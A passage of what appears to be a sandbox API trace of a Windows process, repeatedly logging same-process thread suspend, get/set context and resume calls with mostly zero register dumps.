R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0162.655] ResumeThread (hThread=0x1c8) returned 0x1 [0162.656] CloseHandle (hObject=0x1c8) returned 1 [0162.656] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0162.756] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0162.868] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1c8) returned 1 [0162.868] SuspendThread (hThread=0x1c8) returned 0x0 [0162.869] GetThreadContext (in: hThread=0x1c8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001d1c98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f949bc0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0162.869] SetThreadContext (hThread=0x1c8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001d1c90, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0162.869] ResumeThread (hThread=0x1c8) returned 0x1 [0162.869] CloseHandle (hObject=0x1c8) returned 1 [0162.870] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0162.977] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0163.083] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1c8) returned 1 [0163.083] SuspendThread (hThread=0x1c8) returned 0x0 [0163.083] GetThreadContext (in: hThread=0x1c8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001d1c38, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8c8d80, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0163.084] SetThreadContext (hThread=0x1c8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001d1c30, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0163.084] ResumeThread (hThread=0x1c8) returned 0x1 [0163.084] CloseHandle (hObject=0x1c8) returned 1 [0163.084] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0163.186] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0163.286] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0163.388] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, 